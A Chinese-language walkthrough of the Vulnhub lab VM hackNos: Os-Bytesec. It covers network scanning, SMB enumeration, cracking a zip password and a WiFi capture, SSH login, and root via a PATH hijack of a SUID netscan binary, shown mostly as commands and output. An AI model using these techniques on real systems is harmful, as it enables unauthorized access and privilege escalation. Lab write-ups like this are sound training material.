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Vulnhub之OS Bytesec靶機詳細測驗程序

2023-03-27 08:28:38 其他

OS Bytesec

作者:jason huawen

靶機資訊

名稱:hackNos: Os-Bytesec

地址:

https://www.vulnhub.com/entry/hacknos-os-bytesec,393/

識別目標主機IP地址

(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24

Currently scanning: Finished!   |   Screen View: Unique Hosts                                                              
                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:06      1      60  Unknown vendor                                                           
 192.168.56.100  08:00:27:60:36:cf      1      60  PCS Systemtechnik GmbH                                                   
 192.168.56.254  08:00:27:31:66:d4      1      60  PCS Systemtechnik GmbH                

利用Kali Linux的netdiscover工具識別目標主機IP地址為192.168.56.254

NMAP掃描

┌──(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 22:14 EDT
Nmap scan report for bogon (192.168.56.254)
Host is up (0.00027s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Hacker_James
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2525/tcp open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 12554f1ee97eea8769901c1fb0633ff3 (RSA)
|   256 a670f10edf4e737d7142d644f12f24d2 (ECDSA)
|_  256 f0f8fd24650734c2d49a1fc0b82ed83a (ED25519)
MAC Address: 08:00:27:31:66:D4 (Oracle VirtualBox virtual NIC)
Service Info: Host: NITIN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h50m00s, deviation: 3h10m31s, median: 0s
| smb2-time: 
|   date: 2023-03-26T02:14:37
|_  start_date: N/A
|_nbstat: NetBIOS name: NITIN, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: nitin
|   NetBIOS computer name: NITIN\x00
|   Domain name: 168.1.7
|   FQDN: nitin.168.1.7
|_  System time: 2023-03-26T07:44:37+05:30

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds
                                                                     

獲得Shell

首先從smb協議入手收集資訊:

──(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ smbclient -L 192.168.56.254                                
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (nitin server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            NITIN

──(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ enum4linux 192.168.56.254
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                  
                                                                                                                             
S-1-22-1-1000 Unix User\sagar (Local User)                                                                                   
S-1-22-1-1001 Unix User\blackjax (Local User)
S-1-22-1-1002 Unix User\smb (Local User)

利用enum4linux工具識別出用戶名為sagar, blackjax, smb

利用Kali linux的瀏覽器訪問80埠,從回傳頁面的源代碼有以下注釋:

<div ><!-- James/Hacker -->
Copyright &copy;<script>document.write(new Date().getFullYear());</script> All rights reserved | This template is made with James/Hacker <i  aria-hidden="true"></i> by <a href="https://www.cnblogs.com/jason-huawen/p/http:jameshacker.me" target="_blank">James</a>
<!-- James/Hacker --></div>
		</div>
	</footer>
	<!-- Footer top section end -->

似乎沒有意義,

──(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ nikto -h http://192.168.56.254
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.254
+ Target Hostname:    192.168.56.254
+ Target Port:        80
+ Start Time:         2023-03-25 22:20:22 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: c0e, size: 59686492a99fd, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /html/: Directory indexing found.
+ OSVDB-3092: /html/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2023-03-25 22:20:34 (GMT-4) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

──(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ gobuster dir -u http://192.168.56.254 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js,.html,.txt,.sh
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.254
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              sh,php,js,html,txt
[+] Timeout:                 10s
===============================================================
2023/03/25 22:21:04 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 3086]
/.html                (Status: 403) [Size: 279]
/news                 (Status: 301) [Size: 315] [--> http://192.168.56.254/news/]
/img                  (Status: 301) [Size: 314] [--> http://192.168.56.254/img/]
/html                 (Status: 301) [Size: 315] [--> http://192.168.56.254/html/]
/gallery              (Status: 301) [Size: 318] [--> http://192.168.56.254/gallery/]
/css                  (Status: 301) [Size: 314] [--> http://192.168.56.254/css/]
/js                   (Status: 301) [Size: 313] [--> http://192.168.56.254/js/]
/.html                (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
Progress: 1323306 / 1323366 (100.00%)===============================================================
2023/03/25 22:22:39 Finished
===============================================================

目錄掃描階段一無所獲,但是其實注意到網頁中有句:####################GET#####smb##############free

而前面也知道有用戶名smb,而且smb free,是不是意味著沒有密碼,注意smbclient -L并沒有得到共享目錄/smb,

┌──(kali?kali)-[~/Vulnhub/OS_Bytesec/_anatomy.png.extracted]
└─$ smbclient //192.168.56.254/smb -U smb -p
Password for [WORKGROUP\smb]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Nov  4 06:50:37 2019
  ..                                  D        0  Mon Nov  4 06:37:28 2019
  main.txt                            N       10  Mon Nov  4 06:45:38 2019
  safe.zip                            N  3424907  Mon Nov  4 06:50:37 2019

                9204224 blocks of size 1024. 5824788 blocks available
smb: \> get main.txt 
getting file \main.txt of size 10 as main.txt (4.9 KiloBytes/sec) (average 4.9 KiloBytes/sec)
smb: \> get safe.zip 
getting file \safe.zip of size 3424907 as safe.zip (101352.3 KiloBytes/sec) (average 95561.3 KiloBytes/sec)
smb: \> pwd
Current directory is \\192.168.56.254\smb\

┌──(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ unzip safe.zip  
Archive:  safe.zip
[safe.zip] secret.jpg password:                                                                                                                               
┌──(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ zip2john safe.zip > hashes              
ver 2.0 efh 5455 efh 7875 safe.zip/secret.jpg PKZIP Encr: TS_chk, cmplen=60550, decmplen=62471, crc=6D48091C ts=0BA2 cs=0ba2 type=8
ver 2.0 efh 5455 efh 7875 safe.zip/user.cap PKZIP Encr: TS_chk, cmplen=3364011, decmplen=6920971, crc=717BA9D6 ts=6088 cs=6088 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
                                                                                                                              
┌──(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes   
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hacker1          (safe.zip)     
1g 0:00:00:00 DONE (2023-03-25 23:01) 14.28g/s 468114p/s 468114c/s 468114C/s softball27..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

解壓后里面有個圖片和抓包,圖片檢查后未發現有用資訊,打開user.cap發現是一個wifi抓包,wifi名為blackjax

─(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap

找到Key為:snowflake

會不會用戶名是blackjax, 密碼為snowflake

┌──(kali?kali)-[~/Vulnhub/OS_Bytesec]
└─$ ssh [email protected] -p 2525
The authenticity of host '[192.168.56.254]:2525 ([192.168.56.254]:2525)' can't be established.
ED25519 key fingerprint is SHA256:1l05HpfviqAHWEW02NNLxk4zhf2Ne1fS5QnCd7hTGQA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.56.254]:2525' (ED25519) to the list of known hosts.
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

151 packages can be updated.
100 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Nov  4 15:37:42 2019 from 192.168.1.50
$ id
uid=1001(blackjax) gid=1001(blackjax) groups=1001(blackjax)
$ 

提權

$ cat user.txt
  _    _  _____ ______ _____        ______ _               _____ 
 | |  | |/ ____|  ____|  __ \      |  ____| |        /\   / ____|
 | |  | | (___ | |__  | |__) |_____| |__  | |       /  \ | |  __ 
 | |  | |\___ \|  __| |  _  /______|  __| | |      / /\ \| | |_ |
 | |__| |____) | |____| | \ \      | |    | |____ / ____ \ |__| |
  \____/|_____/|______|_|  \_\     |_|    |______/_/    \_\_____|
                                                                 
                                                                 

Go To Root.

MD5-HASH : f589a6959f3e04037eb2b3eb0ff726ac

blackjax@nitin:/tmp$ find / -perm -4000 -type f 2>/dev/null

blackjax@nitin:/tmp$ ls -alh /usr/bin/netscan
-rwsr-xr-x 1 root root 7.3K Nov  4  2019 /usr/bin/netscan

netscan命令有SUID位

blackjax@nitin:/tmp$ /usr/bin/netscan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:2525            0.0.0.0:*               LISTEN      1012/sshd       
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      890/smbd        
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      1015/mysqld     
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      890/smbd        
tcp        0      0 192.168.56.254:139      192.168.56.206:50834    ESTABLISHED 1876/smbd       
tcp        0    168 192.168.56.254:2525     192.168.56.206:57618    ESTABLISHED 5032/sshd: blackjax
tcp6       0      0 :::2525                 :::*                    LISTEN      1012/sshd       
tcp6       0      0 :::445                  :::*                    LISTEN      890/smbd        
tcp6       0      0 :::139                  :::*                    LISTEN      890/smbd        
tcp6       0      0 :::80                   :::*                    LISTEN      1150/apache2    

netscan命令應該在執行netstat命令因此可以生成我們自己的netstat

blackjax@nitin:/tmp$ echo '/bin/sh' > netstat
blackjax@nitin:/tmp$ chmod 777 netstat 
blackjax@nitin:/tmp$ export PATH=/tmp:$PATH
blackjax@nitin:/tmp$ /usr/bin/netscan
# cd /root
# ls -alh
total 36K
drwx------  3 root root 4.0K Nov  4  2019 .
drwxr-xr-x 22 root root 4.0K Nov  4  2019 ..
-rw-------  1 root root 2.5K Nov  4  2019 .bash_history
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4.0K Nov  4  2019 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  505 Nov  4  2019 root.txt
-rw-------  1 root root 4.9K Nov  4  2019 .viminfo
# cat root.txt
    ____  ____  ____  ______   ________    ___   ______
   / __ \/ __ \/ __ \/_  __/  / ____/ /   /   | / ____/
  / /_/ / / / / / / / / /    / /_  / /   / /| |/ / __  
 / _, _/ /_/ / /_/ / / /    / __/ / /___/ ___ / /_/ /  
/_/ |_|\____/\____/ /_/____/_/   /_____/_/  |_\____/   
                     /_____/                           
Conguratulation..

MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b

Author : Rahul Gehlaut

Contact : https://www.linkedin.com/in/rahulgehlaut/

WebSite : jameshacker.me



# 

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